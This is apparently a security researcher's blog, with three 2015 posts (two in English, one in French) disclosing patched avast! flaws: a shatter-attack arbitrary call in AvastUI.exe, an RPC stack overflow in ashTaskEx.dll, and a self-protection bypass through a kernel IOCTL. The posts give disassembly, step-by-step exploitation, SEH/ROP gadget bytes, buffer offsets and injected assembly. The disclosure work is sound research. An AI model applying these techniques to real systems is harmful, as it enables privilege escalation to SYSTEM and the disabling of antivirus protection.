Thursday, August 6, 2015

avast! Shatter Attack EoP

Here is another issue in avast!, in the GUI AvastUI.exe. It allowed arbitrary code execution within the context of that trusted process, and as such EoP, self-protection bypass, etc. Exploit is provided. It was fixed about a year ago by the avast! crew.


Bug type: arbitrary function call
Vector: window message to asw_av_tray_icon_wndclass
Impact: untrusted code execution within the trusted AvastUI.exe process
Verified on: avast! Free AvastUI.exe v9.0.2018.391


It's been a while since I had used a shatter attack for an interesting purpose! Trendy about 10 years ago (according to Wikipedia), they allowed privilege escalation thanks to core components of Windows like with MS02-071. They are mostly extinct due to Windows now restricting the messages sent to more privileged processes, or isolation of services in session 0. An old but very good presentation of the excellent Brett Moore explains them in detail.

But the problem resurfaces when a process attempts to introduce home-made integrity levels, while functioning as the current logged in user (and at the same IL). This new security boundary can be shattered thanks to Windows messages.


Since we are running in the same context as AvastUI.exe, we can pretty much send any window message to its windows. This appears to be something that the developers didn't think about. For example, the window corresponding to the window class asw_av_tray_icon_wndclass accepts quite a bit of user messages. The following piece of code handles the message 0x83fd:

.text:00551BC0 kk_CWndWM83FDh  proc near               ; DATA XREF: .rdata:00677314 o
.text:00551BC0 wParam          = dword ptr  8
.text:00551BC0 lParam          = dword ptr  0Ch
.text:00551BC0                 push    ebp
.text:00551BC1                 mov     ebp, esp
.text:00551BC3                 mov     eax, [ebp+wParam]
.text:00551BC6                 test    eax, eax
.text:00551BC8                 jz      short loc_551BD3
.text:00551BCA                 push    [ebp+lParam]
.text:00551BCD                 call    eax
.text:00551BCF                 pop     ebp
.text:00551BD0                 retn    8
.text:00551BD3 ; ---------------------------------------------------------------------------
.text:00551BD3 loc_551BD3:                             ; CODE XREF: kk_CWndWM83FDh+8 j
.text:00551BD3                 xor     eax, eax
.text:00551BD5                 pop     ebp
.text:00551BD6                 retn    8
.text:00551BD6 kk_CWndWM83FDh  endp

As you can see, this handler will interpret wParam as a function pointer and lParam as its first and only argument and call it. This obviously becomes an issue when the message is sent by a 3rd party application as it pretty much guarantees code execution within the AvastUI.exe process.

This call primitive is ideal to execute a function like LoadLibrary. We have to make the first parameter point to a string locating the DLL on the drive. Given that we are local, and that Windows doesn't do per-process randomization of DLLs, we already know the address of LoadLibraryA.

But one has to be a bit imaginative to know how to place the string into the AvastUI.exe process memory at a known location. One of the solutions that I found (that restricts the path to the DLL to *44* bytes), is to use a functionality that would put memory under our control at a known offset into
the .data section of AvastUI.exe. This requires some interaction with the named pipe \\.\pipe\snx_sdesktop_pipe. The process AvastUI.exe creates 10 of those, and reads from them in the following code:

.text:0054E159                 mov     ecx, [ebp+var_30]
.text:0054E15C                 push    0               ; lpOverlapped
.text:0054E15E                 shl     ecx, 4
.text:0054E161                 add     ecx, [ebp+var_30]
.text:0054E164                 lea     eax, [ebp+var_8]
.text:0054E167                 push    eax             ; lpNumberOfBytesRead
.text:0054E168                 push    44              ; nNumberOfBytesToRead
.text:0054E16A                 lea     eax, (g_NamedPipeStructures+4)[ecx*4]
.text:0054E171                 push    eax             ; lpBuffer
.text:0054E172                 push    g_NamedPipeStructures[ecx*4] ; hFile
.text:0054E179                 call    ds:ReadFile

What I called g_NamedPipeStructures is located in the .data section of AvastUI.exe and is an array of 10 structures containing the handle to the pipes followed by a 44 byte array receiving the information read from the pipe.

In order to know where this structure is located in AvastUI.exe, we load the binary within our process and locate the structure thanks to a code signature. If there is no address space collision that would trigger a remapping elsewhere, that address will be the same in the remote process. We then open the 10 named pipes and write the DLL path to them to make sure all the structures will be filled with our data. Then we locate the window, and send it the window message with LoadLibraryA as wParam and the 1st structure address as lParam. This will load the DLL within the AvastUI.exe process.

In my exploit, the DLL in question will spawn a cmd.exe and call the IOCTL to make it trusted. Obviously raising a cmd.exe to trusted doesn't make much sense in a real world exploitation scenario, this is just more of a visual example.

Tuesday, August 4, 2015

avast! TaskEx RPC EoP (and potential RCE)

Here is a new bug, this time in English. Since most of the logic issues have been dealt with, this one will be a memory corruption, with exploit. Once again, it was patched about a year ago by the avast! team.


Bug type: stack overflow
Vector: LPC (or RPC if the ncacn_ip_tcp Chest endpoint is enabled)
Impact: EoP (or unauthenticated RCE)
Verified on: avast! Free ashTaskEx.dll v9.0.2018.391


The ashTaskEx.dll implements an RPC interface that is bound to a local ncalrpc endpoint, this interface being 908d4c23-138f-4ac5-af4a-08584ae7c67b v1.0. Most of the functions offered by this interface do not enforce any specific checks and are accessible by unprivileged local users. Those functions are processed within the AvastSvc.exe binary, which runs as SYSTEM.

The function with opcode 8 of this interface has the following IDL prototype (note that the function name is mine, not a symbol):

long   kk_RpcStartRescueDiscToolkit (
 [in] handle_t  arg_1,
 [in][ref][string] wchar_t * arg_2,
 [in] long  arg_3,
 [in][ref][string] wchar_t * arg_4,
 [in] long  arg_5

After unmarshalling the RPC request, it ends up calling tskexStartRescueDiscToolkitImpl:

.text:64804575                 mov     [ebp+ms_exc.registration.TryLevel], 0
.text:6480457C                 push    0               ; int
.text:6480457E                 push    eax             ; RPC_arg_5
.text:6480457F                 push    [ebp+RPC_arg_4] ; int
.text:64804582                 push    ebx             ; RPC_arg_3
.text:64804583                 push    [ebp+RPC_arg_2] ; wchar_t *
.text:64804586                 call    tskexStartRescueDiscToolkitImpl

It will compare the first string with a hardcoded GUID:

.text:6480890E                 mov     ebx, [ebp+arg_0]
.text:64808911                 push    esi
.text:64808912                 push    edi
.text:64808913                 push    offset aBf0f4731Dd254a ; "{BF0F4731-DD25-4A94-8E32-F94103856229}"
.text:64808918                 push    ebx             ; wchar_t *
.text:64808919                 mov     [esp+440h+var_42C], eax
.text:6480891D                 call    ds:_wcsicmp

Edit: opcode 7 has the exact same vulnerability, with a different GUID check, and the exploit below is for that function.
If the comparison succeeds, it will process to copying the second string into a stack buffer:

.text:6480894E                 mov     eax, [ebp+arg_8]
.text:64808951                 lea     edx, [esp+438h+var_214]
.text:64808958                 sub     edx, eax
.text:6480895A                 lea     ebx, [ebx+0]
.text:64808960 loc_64808960:                           ; CODE XREF: tskexStartRescueDiscToolkitImpl+7D j
.text:64808960                 movzx   ecx, word ptr [eax]
.text:64808963                 mov     [edx+eax], cx
.text:64808967                 lea     eax, [eax+2]
.text:6480896A                 test    cx, cx
.text:6480896D                 jnz     short loc_64808960

As you can see here, the destination buffer var_214 is located on the stack, and can hold at most 0x210 bytes before reaching the stack cookie. The copy operation looks like a an inlined wcscpy. There is no check on the length of the string prior to copy.

This results in a stack overflow condition, that can be exploited to achieve code execution and EoP to SYSTEM. Note that the /GS cookie check has to be bypassed to achieve this, which requires exploiting the exception handler or disclosing memory.

A heap overflow will also happen in the subfunction called by tskexStartRescueDiscToolkitImpl if the string we sent is too large, but not large enough to reach the end of the stack. It only allocates 0x4e8 bytes for the structure the string is copied in:

.text:64809D68                 push    4E8h            ; unsigned int
.text:64809D6D                 call    ??2@YAPAXIABUnothrow_t@std@@@Z ; operator new(uint,std::nothrow_t const &)

Remote exploitation

While this bug is a default local EoP on avast! Free, if the Chest remote RPC endpoint (ncacn_ip_tcp) is enabled (either in avast! Endpoint Protection or by playing with the .ini files), then this bug becomes an RCE. See the following MSDN entry about this:

"Be Wary of Other RPC Endpoints Running in the Same Process"


Here are some explanations:
  • we exploit a stack overflow in an LPC interface offered by ashTaskEx.dll;
  • this function is protected by a /GS cookie, so the usual route is to go through overwriting the exception handler, which on newer platforms requires to use a handler in a binary not protected by SafeSEH (this assumes that we overflow enough to get a memory access violation prior to the cookie being checked);
  • algo.dll is not SafeSEH protected. algo.dll is shipped with definitions, so I attempted my best to do something decently generic that will locate the latest version of algo.dll by looking up some registry keys and entries in the .INI files;
  • we want the overwritten exception handler to point to a gadget into algo.dll that somewhat restores the stack pointer to somewhere under our control. Luckily the DLL contains quite a lot of add esp,const & retn that will do that (with const in a ~800h-~1000h range);
  • we load algo.dll in our process, and look for that gadget. It is to be noted that given how Windows works, the base address of algo.dll in our process will be the same than in AvastSvc.exe unless we are quite unlucky;
  • at this point, we just have to build a ROP chain that will do something interesting;
  • since we are local, I decided to do something that would LoadLibrary a DLL under my control. To do so, I make one of the registers point to one of the strings sent into the RPC request (the one that didn't overlow) with some basic additions, copy it in some safe place (the .data section of algo.dll), restore a register to LoadLibraryW and trigger a push & call combination that will load the library as SYSTEM;
  • the library just creates a cmd.exe as SYSTEM on WinSta0 (you need to click a dialog to see it but at this point you see that it's won);
DeepScreen might be annoying and block access to the files, so run it without parameters for the first time to just load the DLL in the current process, and once DeepScreen is happy, run it again with 'run' as parameter to trigger the overflow. The irony here is that the overflow can happen within the DeepScreen sandbox, even if the original ends up being blocked!

Some constants that you might need to adjust based on your platform:

FillMemory( pbBuffer, 0x1000, 'A' );

Our overflowing buffer will be 0x1000 bytes. In most cases it's enough to go past the end of the stack and trigger an AV, but sometimes there is another page (or several) after the stack and that size might have to be increased.

*( DWORD_PTR * )( &pbBuffer[0x354] ) = ( DWORD_PTR )0xffffffff;          //SEH
*( DWORD_PTR * )( &pbBuffer[0x358] ) = g_GadgetLocations[0].dwpLocation; //add esp,818 & retn

Here we require that the SEH structure be at 0x354 bytes from the beginning of our overflowing buffer. This is likely specific to Windows 7 SP1 x86 up to date.

*( DWORD_PTR * )( &pbBuffer[0x20c] ) = g_GadgetLocations[1].dwpLocation; // xchg eax,ebp & retn
*( DWORD_PTR * )( &pbBuffer[0x210] ) = g_GadgetLocations[2].dwpLocation; // pop ecx & retn
*( DWORD_PTR * )( &pbBuffer[0x214] ) = ( DWORD_PTR )0xfffffc24; //ecx

Here, we require that esp+0x818 at the time of the exception handling lands at 0x20c from the beginning of our buffer. The other requirement is that our second string is at 0x3dc (-0xfffffc24) bytes from ebp at the time of the exception handling. Those are pretty much the only things that can differ from one platform to another given the same ashTaskEx.dll version.

The gadgets are pretty self explanatory:

    { { 0x81, 0xc4, 0x18, 0x08, 0x00, 0x00, 0xc3 }, 7, 0 }, //add esp,818h & retn
    { { 0x95, 0xc3 }, 2, 0 }, //xchg eax,ebp & retn
    { { 0x59, 0xc3 }, 2, 0 }, //pop ecx & retn
    { { 0x2b, 0xc1, 0x5b, 0xc3 }, 4, 0 }, //sub eax,ecx & pop ebx & retn
    { { 0x96, 0xc3 }, 2, 0 }, //xchg eax,esi & retn
    { { 0xb8, 0x90, 0x00, 0x00, 0x00, 0xc3 }, 6, 0 }, //mov eax,90h & retn
    { { 0x5d, 0xc3 }, 2, 0 }, // pop ebp & retn
    { { 0x83, 0xc4, 0x0c, 0x5e, 0x5d, 0x5f, 0x5b, 0x83, 0xc4, 0x08, 0xc2, 0x14, 0x00 }, 13, -8 }, //call _memcpy sequence
    { { 0x58, 0xc3 }, 2, 0 }, //pop eax & retn
    { { 0x55, 0xff, 0xd0, 0x0f, 0xb6, 0xc0 }, 6, 0 }, //push ebp & call eax & movzx eax,al & ...

We restore eax from ebp, restore ecx from the stack, subtract ecx from eax, withsome trash ending up in ebx. Then we set eax, esi and ebp so that we can call a memcpy gadget that copies our string into the .data section of the algo.dllbinary. We then call LoadLibraryW on our DLL, and ExitProcess gracefully.

Here the main exploit file, it's the only interesting one anyway:

Monday, August 3, 2015

avast! Contournement de la protection personnelle

Voici un autre probleme de logique, cette fois-ci au niveau noyau. Il a ete corrige l'annee derniere dans les version vulnerables d'avast!.


Type de vulnerabilite: probleme de logique
Vecteur: IOCTL a \\.\aswSP_Open
Impact: contournement de la protection personnelle (rendre un processus "de confiance")
Verifie sur: avast! Free aswSP.sys v9.0.2018.391


La protection personnelle d'avast! (self-protection en Anglais) permet au programme de se proteger de programmes malicieux. Elle est implemente dans le module noyau aswSP.sys et utilise un concept de niveau de confiance pour les processus executes sur le systeme. aswSP.sys offre une variete de peripheriques et IOCTLs associes, mais une grande partie d'entre eux requiert des privileges administratifs, ou d'etre appele depuis un processus de confiance. Cependant, certain d'entre eux sont accessibles par des utilisateurs non privilegies, notamment au travers de \\.\aswSP_Open.

Par example, pour savoir si la protection personnelle est activee, on peut interroger l'IOCTL 0xb2d60190, et pour savoir si un processus est de confiance, 0xb2d600cc. Les processus de confiance executes par defaut sont System, AvastSvc.exe, AvastUI.exe et afwServ.exe sur les versions ayant le parefeu. Cela est illustre par le script Python suivant:

Un processus de confiance peut modifier le niveau de confiance d'un autre processus. Un IOCTL (0xb2d60198) permet a un processus de devenir de confiance, mais son fonctionnement est quelque peu alambique. Cet IOCTL prend pour parametre en entree un buffer de 0x19 octets qui contient, entre autres, deux pointeurs de fonction en mode utilisateur (Ring 3). Le code de l'IOCTL va determiner dans quel module se situent ces deux pointeurs, et verifier sa signature. Il ne s'agit pas d'une signature de binaire normale de Windows, mais une signature specifique a avast!. Si le binaire n'est pas signe, ou si la signature est invalide, l'appel va echouer. Par contre si tout se passe bien, le pilote noyau va mettre en queue un APC utilisateur qui executera un des pointeurs de fonction. En fonction de ce que va faire cette procedure (modifier les parametres passes), le pilote finira par appeler une fonction qui monte le niveau de confiance du processus dont le PID a ete passe dans le buffer d'entree.

.text:0001981C kk_SetProcessTrustCallback proc near    ; DATA XREF: kk_aswSP_Open_DispatchIoControl+2B7 o
.text:0001981C arg_0           = dword ptr  8
.text:0001981C                 mov     edi, edi
.text:0001981E                 push    ebp
.text:0001981F                 mov     ebp, esp
.text:00019821                 mov     eax, [ebp+arg_0]
.text:00019824                 movzx   ecx, byte ptr [eax+8]
.text:00019828                 push    ecx             ; char
.text:00019829                 push    dword ptr [eax+4] ; PVOID
.text:0001982C                 call    kk_SetProcessTrust0Or2
.text:00019831                 pop     ebp
.text:00019832                 retn    4
.text:00019832 kk_SetProcessTrustCallback endp

Afin de prevenir certains abus possibles, le pilote verifie que le processus appelant l'IOCTL n'est pas en train d'etre debogue:

.text:00019496                 push    ebx             ; ReturnLength
.text:00019497                 push    4               ; ProcessInformationLength
.text:00019499                 lea     eax, [ebp+var_3C]
.text:0001949C                 push    eax             ; ProcessInformation
.text:0001949D                 push    ProcessDebugPort ; ProcessInformationClass
.text:0001949F                 push    0FFFFFFFFh      ; ProcessHandle
.text:000194A1                 call    ds:NtQueryInformationProcess

Un des scenarios qui semble-t-il n'a pas ete pris en compte par les developpeurs d'avast! est la possibilite de lancer un binaire avast! signe en mode suspendu, puis d'y injecter une tache. Bien evidemment cela necessite que vous fournissions des pointeurs de fonctions pour le buffer d'entree de l'IOCTL au sein du binaire en question, et que ces pointeurs soient suffisamment interesssants pour qu'on finisse par executer du code sous notre controle. On peut par exemple utiliser un trampoline qui  lit un pointeur de fonction depuis la section .data du binaire et l'execute:

.text:005E0BCD                 mov     eax, dword_7114F8
.text:005E0BD2                 test    eax, eax
.text:005E0BD4                 jz      short loc_5E0BE4
.text:005E0BD6                 lea     ecx, [ebp+var_30]
.text:005E0BD9                 push    ecx
.text:005E0BDA                 push    3
.text:005E0BDC                 call    eax ; dword_7114F8

Ce gadget se trouve dans AvastUI.exe, un binaire signe par avast!

Afin de transformer notre code en code de confiance, il nous suffit de suivre les etapes suivantes:

  • creer AvastUI.exe (ou un autre binaire signe contenant un gadget acceptable) en mode suspendu
  • injecter une tache (en fait j'ai ecrit une DLL pour ca) qui va:
    • trouver le gadget dans le binaire (ici 005E0BCD)
    • ecrire le pointeur de fonction que nous voulons executer (ici a dword_7114F8)
    • appeler l'IOCTL 0xb2d60198 en contruisant correctement le buffer d'entree

Ainsi les verifications faites par le pilote vont reussir, et notre fonction va etre executee via un APC utilisateur. Maintenant pour que le pilote change le niveau de confiance du processus, il faute que cette fonction modifie un parametre de la facon suivant:

__declspec( naked ) DWORD UserModeAPCFunction( )
        //int 3
        mov eax, dword ptr [esp + 10h]
        test eax,eax
        jz skip
        mov dword ptr [eax], 41414141h
        xor eax,eax
        add esp, 0Ch

A partir d'ici, notre code est de confiance, et on peut faire ce que l'on veut avec l'antivirus (EoP, desactivation, etc).

Voici le code de la DLL a injecter: